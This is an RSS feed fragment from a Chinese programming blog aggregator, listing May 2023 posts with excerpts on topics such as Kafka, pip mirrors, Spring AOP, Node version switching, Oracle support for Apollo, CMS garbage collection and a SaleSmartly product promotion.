      <pubDate>Thu, 18 May 2023 19:05:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be24f3a0d5c2c36fda057831f2f2ec4b/</guid>
      <description>Respond.io也是一个得力的工具，但国内是否也有这样的集成与营销工具呢？用，比如SaleSmartly（ss客服）。&#xA;什么是&amp;amp;nbsp;Respond.io？&#xA;Respond.io是一个基于网络的消息传递平台，可将客户从任何渠道连接到多个团队&amp;amp;nbsp;-营销，销售，支持和工程。该公司总部位于香港。&#xA;优点：&#xA;l它易于使用，并具有用户友好的界面。&#xA;l客户支持快速且响应迅速。&#xA;l您可以创建客户档案，将所有消息传递、网络聊天、短信和电子邮件交互合并到一个地方。这有助于保存客户的完整上下文，无论他们每次向您发送消息时的通信模式如何。&#xA;lRespond.io具有简单的自动化功能，例如标记，分配或自动回复消息。&#xA;缺点：&#xA;l这些工具针对的是企业客户，因此定价可能有点麻烦。&#xA;l当潜在客户被添加两次时，它不会将它们识别为重复项。这可能会导致上下文丢失和报告问题。&#xA;l提供的功能数量导致系统的复杂性。如果您只想通过几个渠道与观众保持联系，这可能会有点不知所措。&#xA;SaleSmartly（ss客服）&#xA;SaleSmartly（ss客服）是一个工具，它提供了一个多渠道收件箱，可以集成来自不同渠道的消息，如电子邮件，Facebook，WhatsApp等。它还可以帮助您设置通过WhatsApp，Messenger等全渠道的聊天机器人，并支持WhatsApp、email，Facebook营销。&#xA;那么为什么说SaleSmartly（ss客服）是Respond.io最佳替代品呢？&#xA;原因1：&#xA;使用SaleSmartly，您可以将即时聊天连接到一个团队收件箱，连接社媒渠道，如Facebook、Instagram、电子邮件、WhatsApp、Line、Telegram甚至于Slack。&#xA;SaleSmartly即时聊天还提供了建立聊天机器人的能力，提升客户回复效率，增加团队之间的协作。&#xA;原因2：&#xA;SaleSmartly为中国卖家量身打造，针对国人跨境的网络、时差、翻译等问题，支持实时翻译，多达200+语种高质量互译，覆盖4万多个语言方向，强大的AI机器人与自动化流程助力客户支持，为您的独立站运营降本增效。&#xA;原因3：&#xA;SaleSmartly性价比超高，灵活的价格体系为不同用户提供优质服务。可免费使用几乎所有功能，付费低至每月9刀。</description>
    </item>
    <item>
      <title>联想Y9000P W11出现 你的PIN不可用，单击以重新设置PIN，也未设置其他的登录方式时的解决办法</title>
      <link>https://bchobby.github.io/posts/0385f917cf47e2cca803c06e74abcd4b/</link>
      <pubDate>Thu, 18 May 2023 18:59:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0385f917cf47e2cca803c06e74abcd4b/</guid>
      <description> win11出现 你的PIN不可用，单击以重新设置PIN，你也未设置其他登录方式时的解决办法。在全内网环境下。 因为没有设置其他的登录方式，导致无法登陆系统。 重启系统，按F9键，进入菜单选择界面。选择System Recovery。 下一步选择重置此电脑，选择是。 下一步选择仅删除我的文件 ，保留系统文件，删除安装的软件。 到此系统就等着重置了。 </description>
    </item>
    <item>
      <title>kafka send时指定key遇到的问题</title>
      <link>https://bchobby.github.io/posts/380286e0e5ff48d6970353a2ce468866/</link>
      <pubDate>Thu, 18 May 2023 17:04:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/380286e0e5ff48d6970353a2ce468866/</guid>
      <description>楼主以前使用kafka发送的写法是;&#xA;public ProducerFactory&amp;lt;String, String&amp;gt; producerFactory() {//设置参数 ... } KafkaTemplate&amp;lt;String, String&amp;gt; kafkaTemplate =new KafkaTemplate&amp;lt;&amp;gt;(producerFactory()); 然后发送&#xA;kafkaTemplate.send(TopicName, value.toJSONString()); 参与一个项目flink-cdc项目，使用的是&#xA;class FlinkKafkaInternalProducer&amp;lt;K, V&amp;gt; implements Producer&amp;lt;K, V&amp;gt;； 使用&#xA;public static Producer producer =createProducer(); producer.send(new ProducerRecord(Topic, sendKey, sendValue)); 其中的sendKey 设置，因为没有这种用法，错误传入 String sendKey类型的参数，&#xA;下游的消费者在解析时，就发生报错&#xA;switched from RUNNING to FAILED with failure cause: org.apache.flink.shaded.jackson2.com.fasterxml.jackson.core,JsonParseException: Unrecopnized token &#39;XXXXXXXXX&#39; wasexpecting (JSON String, Number, Array, Object or token &#39;null&#39;,&#39;true&#39; or &#39;false&#39;)at[source: (byte[])&#34;TXXXXXXXXXX&#34;; line: 1，column: 19]&#xA;原因图里大佬说的很明白了；主题包含的数据不是有效的JSON格式，其中的主题的key也要求是&#xA;JSON的格式。&#xA;后续尝试：&#xA;key = JSONObject.</description>
    </item>
    <item>
      <title>pip下载包报错ERROR: No matching distribution found for xxx时的解决方案</title>
      <link>https://bchobby.github.io/posts/baf4cb46c22896e40e1d0087f0d7fa87/</link>
      <pubDate>Thu, 18 May 2023 16:38:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/baf4cb46c22896e40e1d0087f0d7fa87/</guid>
      <description>前言 当我们使用python自带的pip安装一些包时，可能会报以下错误：&#xA;出现这种情况有三种可能：&#xA;第一种可能： pip的版本过低，需要升级一下，可以执行以下命令进行尝试&#xA;python -m pip install --upgrade pip 第二种可能： 考虑可能是网速的原因，这时可以采用国内的镜像源来加速&#xA;pip install 包 -i https://pypi.tuna.tsinghua.edu.cn/simple/ --trusted-host pypi.douban.com ps ：–trusted-host pypi.douban.com 这是为了获得ssl证书的认证&#xA;常见pip镜像源（国内源）&#xA;清华：https://pypi.tuna.tsinghua.edu.cn/simple&#xA;阿里云：http://mirrors.aliyun.com/pypi/simple/&#xA;中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/&#xA;华中理工大学：http://pypi.hustunique.com/&#xA;山东理工大学：http://pypi.sdutlinux.org/&#xA;豆瓣：http://pypi.douban.com/simple/&#xA;第三种可能： 检查下是否开启代理或者VPN，将其关闭再使用国内镜像进行尝试看看是否可以解决，我这边就是代理开启导致网络太慢而报错的。</description>
    </item>
    <item>
      <title>el-table中的文本居中</title>
      <link>https://bchobby.github.io/posts/9809b1fe7dc1772c2228d45e390e4539/</link>
      <pubDate>Thu, 18 May 2023 16:14:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9809b1fe7dc1772c2228d45e390e4539/</guid>
      <description> el-table中的文本居中 1、整个表格和内容居中的方式： header-cell-style设置头部居中；cell-style设置单元格内容居中 &amp;lt;el-table :data=&#34;tableData&#34; :header-cell-style=&#34;{&#39;text-align&#39;:&#39;center&#39;}&#34; :cell-style=&#34;{&#39;text-align&#39;:&#39;center&#39;}&#34; style=&#34;width: 100%&#34;&amp;gt; &amp;lt;/el-table&amp;gt; 2、单个表格的内容居中： 只需要在el-table-column上加上align=‘center’ &amp;lt;el-table-column label=&#34;姓名&#34; prop=&#34;realname&#34; align=&#34;center&#34;&amp;gt; &amp;lt;/el-table-column&amp;gt; </description>
    </item>
    <item>
      <title>C# 数组和集合</title>
      <link>https://bchobby.github.io/posts/e29b7d593f0a158eb16d2cfb5a1993e0/</link>
      <pubDate>Thu, 18 May 2023 14:38:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e29b7d593f0a158eb16d2cfb5a1993e0/</guid>
      <description>数组概述 数组从字面上理解就是存放一组数，但在 C# 语言中数组存放的并不一定是数字，也可以是 其他数据类型。&#xA;数组的特点：&#xA;1.在一个数组中存放的值都是同一数据类型的。&#xA;2.数组中某个指定的元素是通过索引来访问的。&#xA;3.所有的数组都是由连续的内存位置组成的。&#xA;4.数组从零开始建立索引，即数组索引从零开始。&#xA;一维数组的创建、一维数组的初始化、一维数组的使用 一维数组&#xA;一维数组在数组中最常用，即将一组值存放到一个数组中，并为其定义一个名称，通过数组中元素的位置来存取值。&#xA;定义一维数组的语法形式如下：&#xA;1 //定义数组&#xA;2 数据类型[] 数组名；&#xA;1 //初始化数组中的元素&#xA;2 数据类型[] 数组名 = new 数据类型[长度];&#xA;3 数据类型[] 数组名 = {值 1, 值 2, ...}&#xA;4 数据类型[] 数组名 = new 数据类型[长度]{值 1，值 2,...}&#xA;举例如下：&#xA;int[] i = {1,2,3,6,5,4,7,8,9 };&#xA;for (int i1 = 0; i1 &amp;lt; i.Length; i1++)&#xA;{&#xA;MessageBox.Show(i[i1].ToString());&#xA;}&#xA;多维数组的创建、多维数组的初始化、多维数组的使用 多维数组是指二维或二维以上的数组。一般我们最常用的是二维数组。&#xA;定义多维数组的语法形式如下。&#xA;1 //定义多维数组&#xA;2 数据类型[ , , .</description>
    </item>
    <item>
      <title>运算放大器基础2——用作缓冲器/跟随器</title>
      <link>https://bchobby.github.io/posts/a1f1e012fe2b24067bbc861ee8fa3f79/</link>
      <pubDate>Thu, 18 May 2023 13:09:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1f1e012fe2b24067bbc861ee8fa3f79/</guid>
      <description>今天我们学习带有反馈的运放电路。最简单的反馈，就是将运放输出直接接到运放的反相输入端，这种电路有一个特定的名称——“缓冲器/跟随器”（Buffer Amplifier），其输出总是跟随着输入，主要的作用是阻抗变换。以下，我们来逐一分析。&#xA;一、缓冲器/跟随器 对于任何有反馈的运放电路，我们需要记住两条原则：&#xA;运放反相和正相输入端电压总是相等运放反相和正相输入端没有电流输入 运放作为缓冲器的电路如下：&#xA;图1-运放作为缓冲器电路&#xA;对于缓冲器电路，由于输出直接连接了反相输入，根据上述两条原则，所以Vout = Vin+ = Vin-。&#xA;可见，运放此时并没有放大电压，那运放起了什么作用？&#xA;答案是阻抗变换。&#xA;二、阻抗变换 我们知道电源有内阻，负载有阻抗（不考虑频率响应的话，阻抗就等于电阻）。&#xA;图2-电源内阻与负载阻抗&#xA;对于电压型负载来说，电源内阻越小、负载阻抗越大越好，这样它获得的电压越大。&#xA;如果电源内阻较大，而负载阻抗较小，那负载就无法获得较高份额的电压。&#xA;对于这种情况，需要加入缓冲器：&#xA;图3-通过运放缓冲器作为阻抗变换&#xA;缓冲器的特点是输入阻抗无穷大，而输出阻抗又很小，在它后面接上负载，可以让负载保证获得较大电压。&#xA;三、缓冲器/跟随器案例 我们来构建一个案例，如下图，电源输入是12V，通过稳压二极管获得9V电压，后又经过两个10KΩ电阻分压获得4.5V电压，并以此为负载供电。&#xA;那么，假设我们的负载是200Ω，如果直接到10KΩ电阻上，负载上的电压是多少呢？还是4.5V吗？&#xA;图4-负载直接接在10KΩ电阻上，负载电压降低&#xA;可见，实际负载的电压只有173mV。大家可以通过KVL公式（基尔霍夫电压定律）计算一下是不是这个结果。&#xA;如果通过运放缓冲器接到10KΩ电阻上，是什么结果呢？&#xA;图5-负载通过缓冲器接在10KΩ电阻上，负载电压稳定&#xA;可见，由于运放的高输入阻抗、低输出阻抗，使得最终负载获得的电压还是4.5V。</description>
    </item>
    <item>
      <title>Spring AOP（面向切面编程）和方法拦截</title>
      <link>https://bchobby.github.io/posts/f60fe558875a926c96c8e9239e315a04/</link>
      <pubDate>Thu, 18 May 2023 12:22:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f60fe558875a926c96c8e9239e315a04/</guid>
      <description>Spring AOP（面向切面编程）和方法拦截&#xA;Spring是一款广泛使用的Java开发框架，提供了丰富的功能和工具，用于简化企业级应用程序的开发。其中一个重要的特性是面向切面编程（AOP）和方法拦截。本文将介绍Spring AOP和方法拦截的概念、工作原理以及在实际开发中的应用。&#xA;1. 引言 在软件开发中，常常会面临一些横切关注点（Cross-cutting Concerns），例如日志记录、性能监控、安全验证等。这些关注点会散布在应用程序的不同模块中，造成代码的重复和维护的困难。面向切面编程（AOP）通过将这些关注点从核心业务逻辑中分离出来，实现了更好的模块化和可维护性。&#xA;2. Spring AOP的概念 Spring AOP是Spring框架提供的一种AOP实现方式。AOP通过在程序运行期间动态地将额外的行为织入到现有的代码中，以实现横切关注点的功能。Spring AOP基于代理模式，使用动态代理技术生成代理对象，从而实现方法拦截和增强。&#xA;3. Spring AOP的工作原理 Spring AOP主要依赖于两个核心概念：切点（Pointcut）和通知（Advice）。&#xA;切点定义了在程序执行过程中哪些方法需要被拦截。它使用表达式或者注解来指定目标方法的匹配规则。例如，可以通过表达式匹配所有以&#34;get&#34;开头的方法，或者使用注解标记特定的方法。&#xA;通知定义了在切点处执行的额外逻辑。Spring AOP提供了多种类型的通知，包括前置通知（Before）、后置通知（After）、返回通知（After-returning）、异常通知（After-throwing）和环绕通知（Around）。开发人员可以根据需要选择适当的通知类型，并编写对应的逻辑。&#xA;在运行时，Spring AOP会根据切点的定义自动识别目标方法，并将通知的逻辑织入到目标方法的前、后或异常处理等关键位置。&#xA;4. 方法拦截的应用场景 方法拦截是Spring AOP的一种常见用法，可用于实现各种横切关注点的功能。以下是几个常见的应用场景：&#xA;4.1 日志记录 通过方法拦截，可以在方法执行前后记录方法的调用信息，例如方法名、参数和返回值等。这对于调试和追踪应用程序的执行流程非常有帮助。可以在前置通知中记录方法的入参信息，在后置通知中记录方法的返回值，以及在异常通知中记录方法抛出的异常信息。通过方法拦截实现的日志记录功能可以统一管理和配置，提高代码的可读性和可维护性。&#xA;4.2 安全验证 在应用程序中进行安全验证是一项重要的任务。方法拦截可以用于实现权限验证、身份验证等安全相关的功能。通过在前置通知中进行验证，可以在方法执行前对用户的身份和权限进行检查，以确保只有具备合法权限的用户才能执行特定的方法。&#xA;4.3 性能监控 性能监控是优化和调优应用程序的关键方面之一。方法拦截可以用于实现对方法执行时间的监控和统计。通过在前置通知中记录方法的开始时间，在后置通知中记录方法的结束时间，可以计算方法的执行时间，并进行性能分析和优化。&#xA;4.4 事务管理 在数据库操作等涉及到数据一致性的场景中，事务管理是非常重要的。方法拦截可以用于实现声明式的事务管理，即通过在方法执行前后自动开启、提交或回滚事务。这样可以简化事务管理的代码，提高代码的可读性和可维护性。&#xA;5. 实例演示 以下是一个简单的示例演示了Spring AOP和方法拦截的使用：&#xA;public interface UserService { void addUser(User user); } public class UserServiceImpl implements UserService { @Override public void addUser(User user) { // 添加用户的逻辑 } } public class LogInterceptor implements MethodInterceptor { @Override public Object invoke(MethodInvocation invocation) throws Throwable { // 在方法执行前记录日志 System.</description>
    </item>
    <item>
      <title>mac如何升级node版本、切换node版本</title>
      <link>https://bchobby.github.io/posts/fc04353b9f152292ada4408bf31e349f/</link>
      <pubDate>Thu, 18 May 2023 11:42:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc04353b9f152292ada4408bf31e349f/</guid>
      <description>一、mac如何升级node版本 当前官网稳定版本是18.15.0&#xA;所以我从v14.17.4升级到v18.15.0&#xA;二、mac如何切换node版本 切换到16.20.0版本&#xA;三、mac可以用node.js的多版本管理器n来升级和切换，命令如下： 1、sudo npm cache clean -f //清除node.js的cache&#xA;2、sudo npm install -g n //使用npm安装n模块&#xA;3、npm view node versions // 查看node所有版本&#xA;4、sudo n latest // 升级到最新版本&#xA;sudo n stable // 升级到稳定版本&#xA;sudo n xx.xx // 升级到具体版本号&#xA;5、node -v //查看当前安装的版本号&#xA;6、n //检查目前安装了哪些版本的node，会出现已安装的node版本，选一个就可以直接切换了&#xA;⚠️windows可以用nvm切换node版本</description>
    </item>
    <item>
      <title>Apollo oracle适配</title>
      <link>https://bchobby.github.io/posts/7824c34d448fd59e99b8e373056d1884/</link>
      <pubDate>Thu, 18 May 2023 11:16:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7824c34d448fd59e99b8e373056d1884/</guid>
      <description>前言：公司数据库统一切换为oracle，减少部署mysql，现需要将Apollo的数据库做oracle适配，当前使用版本为Apollo2.0.0，网上找到最新版本的适配oracle的版本也仅为1.4.0，现决定自己适配。&#xA;部分参考了官方介绍的改造文档：https://github.com/apolloconfig/apollo/compare/v0.8.0...vanpersl:db-oracle&#xA;Apollo版本 2.0.0&#xA;Oracle版本：12c&#xA;0.oracle添加用户和数据库 添加俩用户&#xA;APOLLOPORTALDB 默认数据库为APOLLOPORTALDB&#xA;APOLLOCONFIGDB 默认数据库为APOLLOCONFIGDB 1.添加oracle驱动，替换掉mysql驱动 搜索引入mysql驱动的地方，删除后添加oracle驱动，&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.oracle.database.jdbc&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;ojdbc8&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;12.2.0.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2.修改默认jdbc驱动 # DataSource #spring.datasource.hikari.connectionInitSql=set names utf8mb4 spring.datasource.driver-class-name=oracle.jdbc.OracleDriver spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.Oracle12cDialect 3.原先数据库初始化脚本改造 3.1 因为oracle不加双引号默认字段和表名会转成大写，所以干脆全转成大写&#xA;3.2 oracle索引全局不能重复，但是Apollo不同表索引名有重复的，给每个表索引名称加表名前缀&#xA;3.3 oracle不支持自增，SPRING_SESSION表用到了自增，所以需要通过oracle的序列实现自增，这个官方有说明 https://github.com/spring-projects/spring-session/blob/faee8f1bdb8822a5653a81eba838dddf224d92d6/spring-session-jdbc/src/main/resources/org/springframework/session/jdbc/schema-oracle.sql&#xA;最终修改完的SQL会最后上传&#xA;因一个数据库共用一个序列，插入数据的时候可能会出现一个表自增不连续的情况，不影响&#xA;4.Hibernate框架的字段表映射统一转大写加双引号 解决原先字段中包括oracle关键字问题&#xA;添加类&#xA;package com.ctrip.framework.apollo.common.utils; import org.hibernate.boot.model.naming.Identifier; import org.hibernate.boot.model.naming.PhysicalNamingStrategyStandardImpl; import org.hibernate.engine.jdbc.env.spi.JdbcEnvironment; public class OracleUpperCaseStrategy extends PhysicalNamingStrategyStandardImpl { private static final long serialVersionUID = 1383021413247872469L; @Override public Identifier toPhysicalTableName(Identifier name, JdbcEnvironment context) { // 将表名全部转换成大写,加双引号解决字段或表名是oracle关键字 String tableName = &#34;</description>
    </item>
    <item>
      <title>git 提交代码，跳过代码检查</title>
      <link>https://bchobby.github.io/posts/e9c0969717581e851aad5a77c215031c/</link>
      <pubDate>Thu, 18 May 2023 09:41:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9c0969717581e851aad5a77c215031c/</guid>
      <description> git 提交代码的时候，会检查代码格式相关的问题&#xA;解决方法：&#xA;1、跳过全局代码检查&#xA;git commit --no-verify -m &#34;commit&#34; </description>
    </item>
    <item>
      <title>（附源码）springboot水环境检测系统的设计与实现 毕业设计041446</title>
      <link>https://bchobby.github.io/posts/f90a7ddea5ed44ee727878fe66ae8aaa/</link>
      <pubDate>Thu, 18 May 2023 09:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f90a7ddea5ed44ee727878fe66ae8aaa/</guid>
      <description>水环境检测系统的设计与实现&#xA;摘 要&#xA;在我国,水源的污染是不可忽视的问题。对于水质监测进行数据的采集工作,目前主要通过人工实现。因此,部分地区的采集工作,实施起来难度很大,比如恶劣环境和偏僻山区等地。所以,目前对于水质监测的研究,主导方向是建立更加高效完善,智能化的水质监测系统。近几年,无线传感器网络迅猛发展,基于此,本文设计研究出一套物联法基础上的水环境监测系统。&#xA;系统主要针对水环境监测业务开展，涉及监测点管理、水环境监测数据管理、项目信息管理等方面。本设计主要实现集人性化、高效率、便捷等优点。系统使用Java语言的Springboot框架，采用MVVM模式进行开发，数据方面主要采用的是微软的Mysql关系型数据库来作为数据存储媒介，配合前台技术完成系统的开发。&#xA;关键词：水环境监测；Springboot框架；关系型数据库&#xA;Design and implementation of water environment detection system&#xA;Abstract&#xA;In China, the pollution of water source is a problem that can not be ignored. At present, data collection for water quality monitoring is mainly realized manually. Therefore, the collection work in some areas is very difficult to implement, such as harsh environment and remote mountainous areas. Therefore, the current research on water quality monitoring is to establish a more efficient, perfect and intelligent water quality monitoring system.</description>
    </item>
    <item>
      <title>垃圾回收器之CMS</title>
      <link>https://bchobby.github.io/posts/eca506b8ef21dd71523037f8b3bf911c/</link>
      <pubDate>Thu, 18 May 2023 00:33:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eca506b8ef21dd71523037f8b3bf911c/</guid>
      <description>CMS是一款基于“标记-清除”算法的垃圾回收器，用于老年代的回收。&#xA;CMS的大概处理流程为：初始标记-并发标记-重新标记-并发清除。为什么需要重新标记呢，因为在并发标记阶段，用户线程和标记线程同时运行，这时会出现之前标记的对象发生了变化，需要等并发标记结束后，重新标记这一部分对象。当重新标记结束后，进行并发清除可回收对象。在初始标记和重新标记时，会导致stop the world，但这个时间远比并发标记时间短，可极大压缩停止时间。初始标记只是简单标记下GC ROOTS可达的节点，并发标记时进行GC ROOTS Tracing的过程。&#xA;CMS垃圾回收器有一部分缺陷。&#xA;1.抢占cpu资源，并发操作就需要创建线程，创建了额外的线程会抢占cpu资源。CMS的默认线程数计算公式为：(cpu数量+3)/4,当cpu数量大于4时，会创建一个线程，这时线程数量占25%，影响不大，但当数量小于4时，会基本占用50%的资源，严重影响业务线程的执行时间。虽然后来提供了i-cms垃圾回收器，在并发标记、清除阶段，试图通过交替运行用户线程，减少这种影响，但效果不明显。&#xA;2.无法处理浮动垃圾。在CMS进行并发清除阶段，用户线程也在运行，会产生新的对象，这部分称为浮动垃圾。CMS在清除时，无法处理浮动垃圾，而这部分数据需要内存空间存放，所以CMS不能等到内存空间完全占满时运行，在1.5版本时，达到68%的老年代空间时进行清除，但启动过早，会导致垃圾回收频繁，-XX:CMSInitiatingOccupancyFraction参数可调整阈值。在1.6版本时，此值为92%，大大提供了垃圾回收效率，但是会引发另一个问题Concurrent Mode Failure。此问题是，当预留空间无法满足浮动垃圾需求时发生的。这种情况下，CMS垃圾回收器会被强制转换为serial old，进行回收，而serial old会大大降低系统响应时间，需要更多的stop the world。&#xA;3.产生垃圾碎片。CMS垃圾回收器是基于标记清除算法的，所以会生成垃圾碎片，当大对象进来时，老年代没有足够空间提供时，会产生fullGC。CMS提-XX:UseCMSCompactAtFullCollection参数设置当老年代空间不足时，先进行整理，整理后不足才进行fullGc，但整理的过程非常慢，每次都进行整理会导致碎片问题没有了，停顿时间变长了。所以又提供了-XX：CMSFullGCsBeforeCompaction，这个参数用于设置执行多少次不整理的FullGc后，执行一次带整理的，默认值为0，每次都需要整理。&#xA;-XX:CMSInitiatingOccupancyFraction=92 和-XX:+UseCMSInitiatingOccupancyOnly&#xA;-XX:+UseCMSInitiatingOccupancyOnly 只是用设定的回收阈值(上面指定的70%),如果不指定,JVM仅在第一次使用设定值,后续则自动调整.&#xA;-XX:+CMSScavengeBeforeRemark&#xA;在CMS GC前启动一次ygc，目的在于减少old gen对ygc gen的引用，降低remark时的开销-----一般CMS的GC耗时 80%都在remark阶段&#xA;当内存增加缓慢的时候，阈值X可以设置大一点，可以使CMS回收的次数降低；如果内存增加比较快，阈值X可以设置小一点，以至于不会出现因在FullGc时空间不足，导致使用serial old回收器的情况&#xA;CMS垃圾回收器进行FullGc的情况列举如下：&#xA;1). 判断UseCMSInitiatingOccupancyFraction和UseCMSInitiatingOccupancyOnly是否为true，如果为false，设CMS根据数据决定是否要进行GC&#xA;2). 如果为true，判断老年代空间使用率是否到达UseCMSInitiatingOccupancyFraction，如果大于则GC，小于则不GC&#xA;3). 上一次ygc失败&#xA;4). 是否有gc请求，例如调用了System.gc()&#xA;5). 是否在进行堆扩容，如果是的话则GC&#xA;6). 判断是否会晋升失败（即老年代是否有空间容纳晋升对象），如果晋升失败则GC&#xA;7). 在jdk8中会判断Metaspace空间是否需要回收&#xA;FullGc条件:&#xA;第一个，对象年龄太大了，这种对象一般很少，都是系统中确实需要长期存在的核心组件，他们一般不需要被回收掉，所以在新生代熬过默认15次垃圾回收之后就会进入老年代。第二个，动态年龄判定规则，如果一次新生代gc过后，发现Survivor区域中的几个年龄的对象加起来超过了Survivor区域的50%，比如说年龄1+年龄2+年龄3的对象大小总和，超过了Survivor区域的50%，此时就会把年龄3以上的对象都放入老年代。第三个，新生代垃圾回收过后，存活对象太多了，无法放入 Surviovr中，此时直接进入老年代。 可中断的预清理 可中断的预清理作用如上说的，另外有个重要意义是，如果在这个阶段如果等到了一个YGC，那么新生代会少很多无用的对象，到了重标记阶段就会少扫描很多的新生代对象，停顿时间会少很多。&#xA;和预清理的不同的是，可中断的预清理有限制条件，会根据配置的参数来决定是否需要进入或者退出该阶段，几个参数如下：&#xA;CMSScheduleRemarkEdenSizeThreshold：如果小于该值则不进入该阶段CMSMaxAbortablePrecleanTime：如果执行时间超过该值，则退出该阶段CMSScheduleRemarkEdenPenetration：如果eden使用空间大于该值，则退出该阶段CMSMaxAbortablePrecleanLoops：如果执行次数大于该值，则退出该阶段 并不是内存越大越好，当内存大时，首先新生代增大，会导致youngGc时间变长，而这是最频繁的Gc，正常一次是20ms，当内存增大到16G时，会出现停顿几秒钟的情况，当停顿出现时，会导致请求积压，进而导致系统越来越慢，Gc越来越频繁。&#xA;采用G1垃圾回收器，G1可对年轻代进行Gc停顿时间设置，可保证youngGc每次只停顿100ms，回收一部分regin区域的内存，频率会提高，但停顿变小&#xA;下面给出通用cms垃圾回收器配置参数：&#xA;-server -Xms5G -Xmx5G -server&#xA;-XX:MaxPermSize=256M -Xss256K&#xA;XX:MaxMetaspaceSize=512m -XX:MetaspaceSize=512m&#xA;-XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/export/Logs&#xA;-XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+UseCMSCompactAtFullCollection&#xA;-XX:CMSFullGCsBeforeCompaction=6 -XX:+CMSClassUnloadingEnabled -XX:+CMSPermGenSweepingEnabled -XX:+UseCMSInitiatingOccupancyOnly</description>
    </item>
    <item>
      <title>【Vue3&#43;TS项目】硅谷甄选day02--后台管理系统模板搭建/项目配置</title>
      <link>https://bchobby.github.io/posts/7dbb0b4e9ff4a8fb0b63eeef6e401e44/</link>
      <pubDate>Wed, 17 May 2023 20:29:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7dbb0b4e9ff4a8fb0b63eeef6e401e44/</guid>
      <description>1 项目初始化 一个项目要有统一的规范，需要使用eslint+stylelint+prettier来对我们的代码质量做检测和修复，需要使用husky来做commit拦截，需要使用commitlint来统一提交规范，需要使用preinstall来统一包管理工具。&#xA;1.1 环境准备 node v16.14.2&#xA;pnpm 8.0.0&#xA;1.2 初始化项目 本项目使用vite进行构建，vite官方中文文档参考：cn.vitejs.dev/guide/&#xA;pnpm：performant npm ，意味“高性能的 npm”。pnpm由npm/yarn衍生而来，解决了npm/yarn内部潜在的bug，极大的优化了性能，扩展了使用场景。被誉为“最先进的包管理工具”&#xA;pnpm安装指令：&#xA;npm i -g pnpm 项目初始化命令：&#xA;pnpm create vite 进入到项目根目录pnpm install安装全部依赖，安装完依赖运行程序：pnpm run dev&#xA;运行完毕项目跑在http://127.0.0.1:5173/，可以访问你得项目啦&#xA;可能出现的问题&#xA;Cannot find module &#39;./App.vue&#39; or its corresponding type declarations&#xA;报错原因：typescript 只能理解 .ts 文件，无法理解 .vue文件&#xA;解决方法1：安装 volar 插件，输入 volar ，有多个扩展程序，能起作用的是 Typescript Vue Plugin（Volar）&#xA;之前 vscode 检测到 vue3 ，自动推荐安装了 Vue Language Feature（Volar），但用它扔有类型报错。官方推荐，使用它时禁用 Vetur，以免有冲突。&#xA;解决方法2：创建vite项目后，项目根目录会有一个 “env.d.ts” 文件，找到该文件，在里面添加一下代码&#xA;declare module &#34;*.vue&#34; { import { DefineComponent } from &#34;</description>
    </item>
    <item>
      <title>CesiumJs学习笔记4</title>
      <link>https://bchobby.github.io/posts/20a56fc7b53048f35f0061174b338f9f/</link>
      <pubDate>Wed, 17 May 2023 14:40:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20a56fc7b53048f35f0061174b338f9f/</guid>
      <description>此为课程Three.js可视化企业实战WEBGL课的CesiumJs篇学习笔记&#xA;加载 GEOJSON 数据 json数据 在阿里云 下载&#xA;加载初始化 // 加载geojson数据 let dataGeo = Cesium.GeoJsonDataSource.load( &#34;https://geo.datav.aliyun.com/areas_v3/bound/100000_full.json&#34;, ); // 可以直接add这个promise // viewer.dataSources.add(dataGeo); dataGeo.then((dataSources) =&amp;gt; { console.log(dataSources); viewer.dataSources.add(dataSources); }); 设置边框和内填充色&#xA;// 加载geojson数据 let dataGeo = Cesium.GeoJsonDataSource.load( &#34;https://geo.datav.aliyun.com/areas_v3/bound/100000_full.json&#34;, { stroke: Cesium.Color.RED, fill: Cesium.Color.SKYBLUE.withAlpha(0.5), strokeWidth: 3 } ); dataGeo.then((dataSources) =&amp;gt; { viewer.dataSources.add(dataSources); }); 获取实体并且改变样式&#xA;// 加载geojson数据 let dataGeo = Cesium.GeoJsonDataSource.load( &#34;https://geo.datav.aliyun.com/areas_v3/bound/100000_full.json&#34;, { stroke: Cesium.Color.RED, fill: Cesium.Color.SKYBLUE.withAlpha(0.5), strokeWidth: 3 } ); dataGeo.then((dataSources) =&amp;gt; { viewer.dataSources.add(dataSources); let entities = dataSources.</description>
    </item>
    <item>
      <title>整理了18个Python爬虫实战案例</title>
      <link>https://bchobby.github.io/posts/3dafe6538b7a6e379119ff839acf3c48/</link>
      <pubDate>Wed, 17 May 2023 11:30:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3dafe6538b7a6e379119ff839acf3c48/</guid>
